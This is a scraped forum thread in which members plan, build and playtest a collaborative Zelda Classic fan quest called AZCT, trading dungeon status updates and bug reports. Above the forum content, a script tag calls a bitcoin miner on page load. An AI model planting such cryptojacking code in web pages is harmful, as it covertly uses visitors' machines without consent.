<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectsmbx communityirc.cat.bio

AZCT: A Zelda Classic Thing - Basic Planning Thread

... zelda
User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 1 year ago

Lejes wrote:Over a year in the making, I give you ARCHERY MINIGAME.

Well, not really a year, more like a few weeks. To be honest, I procrastinated so long that I completely forgot what the original concept was supposed to have been and can't find the original idea posts any more, so I winged it. It uses a round system like the archery mini games in Ocarina of Time and Majora's Mask, and I'd like some input on what I've got there. Once the fundamentals have been touched up I can focus on adding the bits that integrate it into the quest, like messages, prizes, etc.
Sorry it took so long to get around to testing this.

First score: 511
Second score: 715

It's great! It might be a bit long if someone has to replay it more than once or twice for a higher score, but it's a fun spectacle. 750 and up would definitely be attainable with Bow 2, which is currently in the latter half of AZCT.

The hitboxes on the X signs is a bit unforgiving when they're moving (rounds 10, 12) but it's not that hard to get used to.

The patterns in the later rounds are really fun, 20 was funny. I wish the signs in round 17 took a tiny bit longer to come up, and that there was a little time after they go back down to hit maybe one blue rupee? If you miss your shots at the start of it or don't notice you need to fire, it could potentially be frustrating late into the rounds, but hitting one thing would mitigate that. And round 19 seemed very short.


In terms of prizes, Quiver 2 is definitely yours. Quiver 3 is up for grabs too, but don't feel that you need to split it up into two sets of 10 rounds or something to give away both quivers, because the endgame swap fairy will give away Quiver 3 in exchange for Quiver 2. You could give away one of Bow 2 or Arrow 2 as another prize if you really want one of them, as they're both in shops at the moment. Or there could be some script item that affects arrows? And then, if you want to do a piece of heart, or a magic piece (2 per container), budgeting one for the arrow game will be fine. Lots of options.

It's in a swamp, and it's run by the brother of a flirty girl in town, although that can be changed as it's just a throwaway line. So if you want to write messages / make a storefront, that's what you have to work with.

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 1 year ago

Bi-monthly progress update: Everything is well. The work continues.

90% of the major spriting is done. There are boss things and a couple subscreen panels to go.

All of the scripts are sharing a combined action system and playing nicely together. Sheath can now cling to ladders underwater while getting pushed by moving platforms over ice, in sideview, or could if we let her.



A floor in the final dungeon needs your help. This is the biggest unclaimed build remaining, but it's only 20-30 screens at most. You don't need to be familiar with the project to make this, it just needs to use several elements off of a large list. The details are here.

User avatar
Nimono
Posts: 287
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nimono » 1 year ago

Okay, I've been clearly mishandling this for a while now. Basically taking a hands-off approach due to a lack of confidence in my own abilities to lead this. But...this has taken a ridiculously long time. I'd like to see this completed by the end of the year. December 31, 2016, no later than 11:59pm Central Time. I know we can do it if we put our minds to it.

Nabe, what else is left to be done? I know the Final Dungeon is still being crafted, what about the other dungeons? Are they complete yet? Any scripts left to make?

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 1 year ago

Nabe wrote:The first overworld is done in the master (playable) aside from enemies on most screens, and a couple cutscenes that still aren't written. The first overworld still needs enemy placements on many screens, and 3-4 short sideview caves that connect areas.

Level 2 is in the progress of being built by a Hyrule.net IRCer named Fierce Muffin, and I'm sure it'll get done because I'll build from his paper draft if he doesn't finish it. :D He's waiting on two scripts from me as well, which someone else could write if they wanted to, pretty trivial. Level 2 is done on paper and the scripts are all good to go. I'm finishing up the tileset for the build off and on while I do enemy sprites as well.

Level 4 needs a custom boss. Moosh said he might do something, but I haven't heard anything since. CodeGorilla was going to do something for this, but that was a few months ago. The sprites are done, and the attack scripting is pretty simple.

The second overworld needs some enemy tweaks here and there, and about 20 4 or 5 more screen secrets. Anyone who wants to make a couple of those, feel free. There's also a few sideview areas needed for Overworld 2. One is a very short underwater swim between whirlpools, and another is a vertical tree-climbing section prior to Level 8. Also, a couple more short caves as connective tissue.

The final dungeon is much less a game-in-review thing, and moreso just a cool thing that happens to reuse themes from the game. There's one floor unaccounted for, which would have to combine themes from levels 4 and 5. So level 4 has purple, demons, dark pits, and has a lot of Vires, Wallmasters and Pols Voice. The item is the bow and arrow. Level 5 is a ruined underground town with broken houses and a sewer, and there's an air of mystery around its origins, but it's also been artificially turned into a dungeon. So you've got town, sewer, cave, mystery, artificial / fake, and it has Ghinis and Gibdos and Like-Likes. The item is the Power Glove (lifts things). Both dungeons have a lot of puzzles and secrets, too. So there's a lot to work with there, and any dungeon floor that combines SOME of those ideas into a cool new thing would be welcome.


So to summarize,
Things To Be Done
  • Enemy placement in Overworld 1*
  • Sideview caves
  • Level 4 boss
  • 4-5 secrets in Overworld 2*
  • Final dungeon floor combining themes from levels 4 and 5
(* = Things Nabe will eventually get to doing)


Playtesting would also be really cool, especially the Shield and Boomerang minidungeons. Everything (except the final dungeon) is playable through the master QST, which would be preferable to make sure it all coexists properly. The debug room is available through the ship in Speakeasy, and it's located on Map 2 in the top corner if you want to edit it to connect the debug warps to other dungeons.
Edits in bold. Aside from these things, there's also the final boss, which refuses to be planned or take shape aside from some old sketches Moosh and I did.

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 1 year ago

Specifics on dungeons:

- Levels 1, 3, 4, 7 are done and very well playtested (you need to make a judgment call on the L3 boss)
- Level 5 needs a solid playtest, and very likely some minor enemy rebalancing
- Level 6 afaik is not done (raekuul) and needs visual polish besides
- Level 8 is in the process of visual polish (all planned out, 40% implemented)
- The Wand mini needs visual polish (a forest aesthetic)
- All other minis are done, but could use some playtesting (and a puzzle in Boomerang Mini floor 2 might be broken)
- The final dungeon has 3/5 floors done, and one of the unfinished floors isn't spoken for (the other is mine)

User avatar
raekuul
X&BUTT
Posts: 899
Joined: 8 years ago
First name: Pokota
Pronouns: he/him/his
Location: Moses 1:37-39
Contact:

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby raekuul » 1 year ago

Regarding level 6: I actually would like some outside eyes looking at it, providing suggestions. I know some of the things I need to change are in the great shaft (specifically, making it less punishing to miss a jump). If y'all are on discord give me a poke.

User avatar
Nimono
Posts: 287
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nimono » 1 year ago

raekuul wrote:Regarding level 6: I actually would like some outside eyes looking at it, providing suggestions. I know some of the things I need to change are in the great shaft (specifically, making it less punishing to miss a jump). If y'all are on discord give me a poke.
gimme yer discord name and i'll poke ya

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 1 year ago

Years late, but is there anything I need to know about the master copy before I go start testing/bug finding? Like, should I be starting with the other dungeons to be tested first?
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

jayScribble wrote:Years late, but is there anything I need to know about the master copy before I go start testing/bug finding? Like, should I be starting with the other dungeons to be tested first?
Everything except the final dungeon and the Wand mini is accessible in Master Copy.qst, and there's a debug room accessible inside the ship in town. Basically, you can play through the whole game sans the final segment (including plot cutscenes, although some NPC movement in one cutscene is unfinished). There's no indicator right now, but press Jump when Sheath is holding up a Facet to finish the pick-up animation.

Level 2 isn't complete in the master, but the Facet can be accessed by hitting the switch one screen north of the entrance.

(You can grab the Bombs from the debug room.)

Levels 3 and 4 have temporary bosses; Level 6 is incomplete but beatable; Levels 5 and 8 should be functional, but have parts in motion that might be broken, and you might have a magic shortage in 8. Levels 1 and 7 are completely done, and completely functional. (A subscreen in Level 7 might be mis-drawn iirc, but I know you've played it already.)

The minis are all inserted, except for the Wand mini, which is complete but needs a visual once-over. The bar in town has a lot of hints about a lot of stuff, but for testing purposes,

the Boomerang mini requires the Bow and Arrows for its part 2 and the Hammer for its part 3. Part 2 has two screens that need to be redone, I'm no longer happy with the puzzles I made there. Shield Mini's second floor requires the Bombs and Hammer.



All Sweet Caves in Overworld 1 are inserted and reachable. There still aren't complete enemy placements in O1, and please don't enter any cave doors that are open with no bombs / puzzle involved, because they haven't been routed yet and you won't come out alive. Most NPCs have dialogue that changes multiple times depending on how many Facets you have. One NPC in the bar has dialogue that ends abruptly with blank space -- it just hasn't been written yet.

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 11 months ago

Got it. I'll post whatever things I find.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
Voltgloss
>GET LAMP
Posts: 466
Joined: 4 years ago
Location: West of House

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Voltgloss » 11 months ago

I'm happy to help testrun this as well. What version of Zelda Classic should be used, and from where can the current quest file be downloaded?

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

Voltgloss wrote:I'm happy to help testrun this as well. What version of Zelda Classic should be used, and from where can the current quest file be downloaded?
The latest version is fine ( https://www.zeldaclassic.com/downloads.php#zc ) and I'll PM you the file now. Thanks!


@ both of you: If something gets you stuck somewhere, let me know where and what items you have, and I'll shoot you an updated quest file to pick up where you left off.

User avatar
raekuul
X&BUTT
Posts: 899
Joined: 8 years ago
First name: Pokota
Pronouns: he/him/his
Location: Moses 1:37-39
Contact:

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby raekuul » 11 months ago

I probably should have cross-posted this a while back.
raekuul, 29 Oct 2016, 09:03 wrote:If someone wants to take [over for me], I'm okay with surrendering command of Level 6. For whatever reason it's really difficult for me to want to work on it.

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

raekuul wrote:I probably should have cross-posted this a while back.
raekuul, 29 Oct 2016, 09:03 wrote:If someone wants to take [over for me], I'm okay with surrendering command of Level 6. For whatever reason it's really difficult for me to want to work on it.
Saw this and it's definitely high on my to-do list.
Image

User avatar
MECHDRAGON777
Where radioactivity blossoms, so do I!
Posts: 415
Joined: 2 years ago
Pronouns: he/him/his
Location: Antarctica
Contact:

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby MECHDRAGON777 » 11 months ago

I have used ZC a lot four years ago. I might be able to help a little bit (As I notice this was made three years ago)

Image
Image
My avartar
Image




I am a SMBX player, and I do not know weather to stay at SuperMarioBrosx.org or at talkhaus.raocow.com honestly.

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 11 months ago

The more things change, the more things stay the same. F6 and F12 are my friends doing this.

I've finished most of the first Island, but getting off there is another issue. Not to mention that there are barren areas on the later areas on the first. Some enemies in those area would at least kept the journey interesting.

Image
Sword slashes and grass doesn't mix in this screen, resulting in those blue numbers on the top left.

Image
Should have taken your advice on certain entrances. F6 is my friend here, though.

Image
I found this purple thing north of the town. I killed it later on and nothing happened.

Image
Not shown on this screen, but in the Shield Mini-dungeon/Demi-dungeon/This place, there was just a big key in the center of the screen, where later on, I found another one, so I assumed that the Big Key on this screen should not be there.

Image
One tile off on this screen: the pillar top on the right on the doorway.

Image
Is this guy supposed to be selling something?

Image
After visiting who I assumed is Howikawa Otane in that cave, I was on top of a snowy area and when I went back down, here I am, stuck. Luckily I had the flute. Otherwise, F6 for me again.

Speaking of the flute, whenever I use it on the overworld, it warps me directly on the tile to the entrance of the completed dungeons, forcing me into it. So I have to walk out of the dungeon each time.

Image
Poor fella got stuck spawning in the treeline.

Image
I would have said the same to that guy stuck behind the statues, but since these guys deal two hearts of damage...


I hope that all of this would be useful. I'll try to continue on.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
Voltgloss
>GET LAMP
Posts: 466
Joined: 4 years ago
Location: West of House

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Voltgloss » 11 months ago

A few quick notes after having completed Level 1:
  • The sign just west of Wizzrobe's House can't be read.
  • Rhyme doesn't have a sprite in the first cutscene between Rhyme and Reason. I thought he/she was a disembodied voice until Sheath clearly started talking to thin air in the final part of the cutscene.
  • Is there a hint somewhere to suggest that Wizzrobe's House is where you can find a starting sword? I didn't find one (maybe I missed it) and I can see a player (especially raocow) wandering all over the overworld looking for a sword to get started for an extensively long time. I tried it solely based on the dungeon map layout and the Metal Gear music suggesting a "stealth" dungeon - are those the only hints the player gets? Alternately, perhaps some slashable bushes could be placed to block the player from wandering too far away from the opening town area, thus limiting their search space for a sword?
  • Keese sure do drop a lot of carrots. Is that intentional?
  • I stumbled on 200 sweets while exploring the town, allowing for several opening purchases before the game really got started. Is that intentional, or in there temporarily solely for testing purposes?
  • Sheath eating the Adult Carrot and jumping at the screen post-Shiny Thing made me grin. Nicely done on both.
[/spoiler]

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

Thanks @ both. That key and those Sweets are definitely both from testing.

@jayScribble,
try talking to people in town, particularly the pink-haired NPC west of the boat (this is the invisible Rhyme from the cutscene near the guards), or the boat captain. Some strings from these two set events in motion, assuming I have things properly hooked up. The grass-cutting numbers are a debug thing I left around and forgot about, thanks for reminding me of that. The purple thing out on the water is our Ghini replacement -- there are some more ghosties out in the sea. The sponge guy isn't meant to be selling anything, but he should have said a thing if he didn't.


@Volt,
there might not be a hint for the sword! I'll have the guard who tells you that you need a sword mention it, and maybe somewhere else as well. Bushes might be a good call as well. About Keese, it's not intentional per se, we just haven't gotten around to adjusting any of the default drop tables.

MECHDRAGON777 wrote:I have used ZC a lot four years ago. I might be able to help a little bit (As I notice this was made three years ago)
There's definitely stuff you could do. Would you like to try a short sideview transition area? There are a few of these, all with only Mario enemies in them. So far we have Goomba, Piranha Plant, Boo, Podoboo, Buzzy Beetle, and a simple Cheep-Cheep that swims back and forth. Ninji, Thwomp, Lava Lotus, Spiketops and Bloopers are on the way. The idea is that each of these transition areas has a handful of screens, and focuses on at most one or two Mario enemies as obstacles.

Let me know if this sounds interesting or if you'd rather something else, then I'll hook you up with the requisite files in PMs.

User avatar
MECHDRAGON777
Where radioactivity blossoms, so do I!
Posts: 415
Joined: 2 years ago
Pronouns: he/him/his
Location: Antarctica
Contact:

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby MECHDRAGON777 » 11 months ago

Nabe wrote:Thanks @ both. That key and those Sweets are definitely both from testing.

@jayScribble,
try talking to people in town, particularly the pink-haired NPC west of the boat (this is the invisible Rhyme from the cutscene near the guards), or the boat captain. Some strings from these two set events in motion, assuming I have things properly hooked up. The grass-cutting numbers are a debug thing I left around and forgot about, thanks for reminding me of that. The purple thing out on the water is our Ghini replacement -- there are some more ghosties out in the sea. The sponge guy isn't meant to be selling anything, but he should have said a thing if he didn't.


@Volt,
there might not be a hint for the sword! I'll have the guard who tells you that you need a sword mention it, and maybe somewhere else as well. Bushes might be a good call as well. About Keese, it's not intentional per se, we just haven't gotten around to adjusting any of the default drop tables.

MECHDRAGON777 wrote:I have used ZC a lot four years ago. I might be able to help a little bit (As I notice this was made three years ago)
There's definitely stuff you could do. Would you like to try a short sideview transition area? There are a few of these, all with only Mario enemies in them. So far we have Goomba, Piranha Plant, Boo, Podoboo, Buzzy Beetle, and a simple Cheep-Cheep that swims back and forth. Ninji, Thwomp, Lava Lotus, Spiketops and Bloopers are on the way. The idea is that each of these transition areas has a handful of screens, and focuses on at most one or two Mario enemies as obstacles.

Let me know if this sounds interesting or if you'd rather something else, then I'll hook you up with the requisite files in PMs.
Sure, I can do that. (With the Roc's Feather I assume) Is their a chance I could also do a little side dungeon? (Multi-floor)?

Image
Image
My avartar
Image




I am a SMBX player, and I do not know weather to stay at SuperMarioBrosx.org or at talkhaus.raocow.com honestly.

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 11 months ago

Nabe wrote:@jayScribble,
try talking to people in town, particularly the pink-haired NPC west of the boat (this is the invisible Rhyme from the cutscene near the guards), or the boat captain. Some strings from these two set events in motion, assuming I have things properly hooked up. The grass-cutting numbers are a debug thing I left around and forgot about, thanks for reminding me of that. The purple thing out on the water is our Ghini replacement -- there are some more ghosties out in the sea. The sponge guy isn't meant to be selling anything, but he should have said a thing if he didn't.
I talked to Rhyme and the boat captain. While I got the correct lines after getting all 4 facets, the captain still has the same lines, so no boat trip for me yet. I "got" onto the other island though, through a wrongwarp in the debug room with the huge hungry guy, so I'll continue on from there.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

jayScribble wrote:
Nabe wrote:@jayScribble,
try talking to people in town, particularly the pink-haired NPC west of the boat (this is the invisible Rhyme from the cutscene near the guards), or the boat captain. Some strings from these two set events in motion, assuming I have things properly hooked up. The grass-cutting numbers are a debug thing I left around and forgot about, thanks for reminding me of that. The purple thing out on the water is our Ghini replacement -- there are some more ghosties out in the sea. The sponge guy isn't meant to be selling anything, but he should have said a thing if he didn't.
I talked to Rhyme and the boat captain. While I got the correct lines after getting all 4 facets, the captain still has the same lines, so no boat trip for me yet. I "got" onto the other island though, through a wrongwarp in the debug room with the huge hungry guy, so I'll continue on from there.
The boat captain didn't mention logs?

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 11 months ago

Nabe wrote:
The boat captain didn't mention logs?
Nope. He just said talk to him whenever I need help, just like at the beginning of the game. I tried talking to everyone else in town as well and explored everywhere besides the second island. Should I just go to the second island with the debug raft?
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
Nabe
Still working on AZCT
Posts: 119
Joined: 4 years ago

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby Nabe » 11 months ago

jayScribble wrote:
Nabe wrote:
The boat captain didn't mention logs?
Nope. He just said talk to him whenever I need help, just like at the beginning of the game. I tried talking to everyone else in town as well and explored everywhere besides the second island. Should I just go to the second island with the debug raft?
Yep, that's fine. I'll investigate what went wrong. Also, if you could send me a copy of your save file that would be good.

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 11 months ago

Nabe wrote:Yep, that's fine. I'll investigate what went wrong. Also, if you could send me a copy of your save file that would be good.
Yeah, I'll send it over the dropbox.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: AZCT: A Zelda Classic Thing - Basic Planning Thread

Postby jayScribble » 11 months ago

A repost, but an unfortunate one. Report time:
The raft and I are not meant to be: I couldn't even find it in the debug room, so to the wrongwarp with the Giant Grumble Guy room I go.

Image
Something minor, but some graphical glitches with the topleft corner and the top doorway.

Image
When I "entered" the room, I just shot one arrow upwards and left, since I didn't want to pick up the 30 arrow drop. Entering the room again, the room was "solved", leading to the image.

Image
A minor fix, but a major flaw: whenever Sheath moves even one pixel to the left, I'm warped to the previous room, unable to go further into it. Because of this, until I realised it after I quit to report that I could use the flute, I was softlocked in this dungeon and unable to progress further, and was forced to revert to my last spot I saved.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:


Return to “AZCT”

Who is online

Users browsing this forum: No registered users and 1 guest

cron